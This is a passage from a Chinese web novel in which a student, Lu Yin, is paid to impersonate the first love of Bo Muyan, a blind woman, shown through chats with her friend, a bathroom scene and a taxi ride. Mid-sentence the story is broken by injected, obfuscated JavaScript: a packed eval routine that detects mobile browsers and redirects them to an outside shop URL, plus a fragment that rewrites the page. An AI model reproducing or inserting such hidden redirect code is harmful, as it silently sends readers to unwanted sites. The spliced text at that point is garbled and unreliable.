薄暮烟显然不需要她的鼓掌:“等我眼睛好了,我做给你吃,好吗?” 陆音惊恐。 做给我吃? 真等你眼睛恢复了,恐怕不是做给我吃,而是做掉我吧! “茵茵?” 陆音哪敢说不,皮笑肉不笑地先答应了:“真的吗?呵呵,那我可太期待了呢~” ★★★ 陆音没想过自己能通过面试,来的时候,身上除了手机和一包手帕纸,什么也没带。 此时天色渐暗,再过不久,就该洗澡睡觉了。 考虑到家里没有专属于陆音的生活用品,薄暮烟再次把手机的掌控权交给她,让她自行在APP里挑选喜欢的东西下单,平台会在半小时内将东西送达。 陆音不和她客气,挑挑选选将近一个小时,才将自己接下来的日常所需买好。 东西送达之前,陆音让薄暮烟先去洗澡。 亲眼看着她把浴室门关上,一直没找到机会“开小差”的陆音,终于能抽空联系一下池苒。 她不知道这套房子的隔音效果怎么样,以防万一,没敢打语音电话,而是选择发消息。 【喜报!喜报!我已成功入职!并在入职第一天,喜提巨额业绩!!!】 【(小狗嘚瑟.jpg)】 池苒回得很快。 【池苒:恭喜恭喜!你一直没回来,也一直没联系我,我就猜到你应该是伪装成功了。】 【池苒:说实话,虽然这份兼职是我推荐你去的,但我其实完全没想过你真能成功,结果你真的成功了,不愧是你!!!】 【池苒:[对方向您转账99元]】 【池苒:革命尚未成功,陆音同志仍需努力,这是组织给你的鼓励,继续加油!】 陆音心安理得地收下红包,迅速回了一个“谢谢老板”的Q版表情包。 【池苒:薄女神人怎么样?你都说是巨额业绩了,肯定给钱给得很大方吧?】 【好老板!是我见过最好的老板!(大拇指.jpg)】 两人七七八八地扯了一堆,陆音把话题转到何念茵身上。 【不过我没想到,我和她的白月光,还挺有缘的。】 陆音开始列举彼此的相似点。 【她和我的生日刚好在同一天,我喜欢数字9,她的幸运数字也是9,我不爱吃香菜,她也不爱吃,真的太神奇了,我长这么大,还是第一次碰见和我重合度这么高的人。】 【池苒:晚点和你聊,我妈给我打电话了,我先接一下。】 陆音回了个ok,退出微信,打算刷会儿短视频。 开屏视频刚缓冲完,浴室的门突然开了。 被水汽氤氲过的声音,从那边传来。 “茵茵,我忘带浴巾了,你可以帮我去阳台收一下拿给我吗?” 6. 六 “行,我去拿给你,等我两分钟。” 陆音听见了来自浴室的求助,撇下手机起身。 阳台和客厅连接在一起,越过沙发再走几步,就到了。 薄暮烟并不是一个爱摆弄花草的人,简约干净的阳台上,找不出半点养眼的绿色。 陆音没多逗留,找到浴巾后,一把扯下。 回屋时经过同样被主人遗忘的内衣内裤,思考两秒,还是朝它们伸出了手。 “叩叩”。 敞开的浴室门不知何时又被关上,陆音敲了两下,被对方从里面打开。 薄暮烟将整个身子藏得严实,堪堪从门缝中探出脑袋和手来。 只不过她误判了门缝的大小,丝毫没意识到,自己这对白皙精致的锁骨,一并暴.露在了陆音眼前。 陆音觉得自己有点像第一次进城的农村小妹。 从上到下、哪哪儿都漂亮的薄暮烟,就是吸引她的那座城。 陆音直勾勾地盯着她漂亮的锁骨看。 她看得坦荡又大方,丝毫没觉得自己这样子有何不对。 直到许久没接到东西的薄暮烟困惑地问了一声,陆音才有些意犹未尽地回过神。 浴巾终于被递出去。 “你是不是只回房间拿了睡衣?我看内衣内裤也在阳台上挂着,就帮你一起收进来了。” 陆音挪开视线,不再看她。 “我把它们放进浴巾里面了,你摆到架子上的时候注意点,别掉到地上。” 想了想,又补充道:“还是说你平时洗完澡都不穿内衣的?那我还是把内衣放回卧室先?” 薄暮烟顿了顿,把东西重新递回来。 她解释:“阳台上的我还没收,刚才拿睡衣的时候,我直接从衣柜里拿了一套,你还是帮我把它们拿回卧室吧。” “行,那你洗吧,有其它需要再叫我。” ★★★ 陆音很喜欢这套房子的设计。 她曾想过,有朝一日等自己赚够钱,一定要买一套三室二厅。 三室中的“两室”,要打通合并成唯一的主卧。 剩下的“一室”,用来做休息娱乐室。 薄暮烟在这方面的想法,一定程度上算是和她不谋而合。 她也有一个很大的主卧,剩下的那间屋子,则是被做成办公与阅读两用的工作屋。 独独令陆音感到费解的是,房子里唯一的浴室,居然被安排在了主卧外! 刚好池苒和她妈通完电话了,陆音习惯性把问题丢给她。 【池苒:我回来了。】 【你家有几个卫生间?】 【池苒:?】 【池苒:我就接了个电话,话题跳这么快吗?】 【池苒:三个,我妈他们房间一个,我自己房间一个,还有一个给客人用的。】 【池苒:咋突然问这个?】 【她家只有一个卫生间,你猜卫生间在哪儿?】 【池苒:你都这么问了,那肯定不在卧室,总不能设计到阳台了吧?】 【池苒:阳台里面安厕所,这不是D大每年都会被新生吐槽的阴间设计吗?女神家也这么另辟蹊径的?】 【那倒没有,就是在客厅边上。】 池苒的脑回路和陆音高度一致。 【池苒:emmm这样半夜上厕所不嫌累吗?】 【我也奇怪,难道这就是我们和有钱人的区别吗?】 【池苒:不然等她洗完澡出来,你直接问问本人?】 【行,问完和你说。】 【池苒:比起这个,我更想知道,你啥时候回来洗澡?】 这回轮到陆音发问号了。 【我没有认卫生间的毛病,等她洗完就轮到我洗,今天不回去了。】 【池苒:那你洗完澡穿啥?你该不会忘了下午出门面试的时候,自己只带了一个手机吧?】 陆音:“……” 完蛋。 一不小心,还真给忘了。 【那我等下回宿舍一趟,洗完澡再回来。】 【池苒:明天周一有早八,你既然回来了,就等明天下午上完课再回去呗,女神应该不会无情到连一个晚上的假都不给你请吧?】 【她还真挺黏这个白月光的,我当然也想直接留在宿舍,但我怕ooc,所以还是算了,累点就累点吧。】 【池苒:(小恶魔看透一切.jpg)】 【池苒:但凡我是第一天认识你,还真就信了你这鬼话,说!你非要回去的理由究竟是啥?】 【嘿嘿。】 【她说晚上也能留下来照顾她的话,额外再给我加三百块!一晚三百,一个月能多赚近一万呢!】 【池苒:(竖大拇指.jpg)】 【池苒:不愧是你!有你这样会赚钱的人进入我的朋友圈,乃我之幸!】 陆音没再和她继续聊,因为薄暮烟洗完澡出来了。 她立刻迎上去,主动替人美钱多的薄老板接过手里的脏衣服:“你回房间休息吧,衣服我拿去阳台洗。” 薄暮烟没有拒绝她,东西被拿走的下一秒,很是自然地搭上她的手腕:“我一向睡得晚,茵茵,一起去阳台吧。” 陆音倒也不是什么贪得无厌之人。 她心里有一杆秤。 薄暮烟给的这些钱,完全足够支付接下来两个月、有关“牵手”这一动作所提供的情绪价值的费用。 念及此,也就不再像前几次那般委婉拒绝,而是默许了她的黏人行为。 “你平时都几点睡?” “十一点。” 认为自己一点睡都算早的陆音:“……” 阳台上。 陆音关上洗衣机门,按下快洗键。 薄暮烟听见机器运转的声音,神色微变地抿唇,沉吟数秒,还是问出了声。 “茵茵,你从什么时候开始,在这方面有了洁癖?” 陆音被问懵:“洁癖?我没有洁癖啊。” “那为什么你现在就把我的衣服洗了?不能等会儿和你的一起洗吗?” “差点又忘了,我下午不是急着来见你吗,衣服什么的都忘了带,等会儿我得回学、回家一趟。” 说完后半句话,陆音的舌头差点打结。 虽然破绽是藏住了,但她的头,开始狠狠地痛了。 天要塌了啊! 何念茵是在国外上的学,这次回来,是“家里临时有点事”。 至于陆音本人,却是个一周五天都有排课的苦命大学生! 究竟有什么合理的借口,能帮她实现一周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115970|195905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五次的带薪休假呢! 陆音还没想好,薄暮烟先出声了。 “好,那我回房换套衣服。” 陆音把难题暂时抛到一边:“我只是回去拿点东西,再顺便洗个澡,很快就回来,你留在家里等我就好了。” “这么晚了,我不放心你一个人回去。” 陆音微仰头,看了眼双目无光、明显比自己还需要人担心的薄暮烟,默默把吐槽咽了回去。 这家伙就是颗人形炸/弹,真带上的话,放在哪里都不安全。 陆音准备二次婉拒。 似是察觉到她的意图,人傻钱多的薄老板,再次使用了钞能力。 “高中的时候一直没机会去你家,第一次见阿姨和叔叔,我也没有什么准备,你用我的微信转点钱,到时候直接从网上下单,给他们买两只金手镯。 “要是你不希望我现在就和他们见面,那我不下车,就待在车里等你,茵茵,这样可以吗?” 陆音:! 人性果然是经不起考验的! 能经得住,只能说明钱给的不够多! 她嘴角上扬,当即改了口。 “那好吧,不过我肯定没那么快,你确定能等得住?” 薄暮烟温柔一笑:“只要是和你有关的事,对我来说,都是一种乐趣。” ★★★ 陆音先把薄暮烟送上车,关好车门,绕到后座的另一头坐好。 司机规规矩矩地问:“尾号XXXX的乘客是吧?目的地是滨海商场。” “对。” 这是陆音经过快速的头脑风暴之后想到的,既能回宿舍、又不掉马的唯一解法。 如她所料,薄暮烟果然发出疑问。 “茵茵,怎么终点定位是商场?离你家虽然不算远,但是再打车的话,不是也要十几分钟吗?” 陆音搬出早就想好的理由。 “我还是觉得你一个人在车上等太无聊了,附近不是有商场嘛,等会儿买张电影票,你边听电影边等我吧。” 薄暮烟有点委屈:“看电影的话,我只想和你一起看。” 想到刚入账的两只金手镯,陆音表现得很有耐心。 “就让你自己看这一次,下回你还想看,我一定陪你。” “可我只想和你一起看,每一次都只想和你一起。” 陆音还是第一次碰见这么难搞的老板,偏偏自己的职业道德感还挺强,对方刚给了一大笔钱,身为拿钱办事的优秀打工人,除了顺着对方,别无它法。 “那不看电影,你就留在车上等我,这样总行了吧?” 薄暮烟点点头:“我不会觉得无聊的,既然不用看电影,茵茵,你先把目的地改掉吧。” 陆音暗骂了一句讨厌的黏人精。 何念茵小区的位置,对她来说特别坏——刚好在商场通往B大的反方向上。 从小区打车到B大,保守估计半小时。 时间久先不说,最要命的是,她这样就没法找薄暮烟报销了。 谁家好人花钱上班啊!!! 一想到还得用自己的钱打车,陆音的心,疼得都快抽抽了。 还没等她缓过来,薄暮烟又扔下一记重.弹。 “茵茵,还是定位到B大吧,你应该很熟悉这里了。”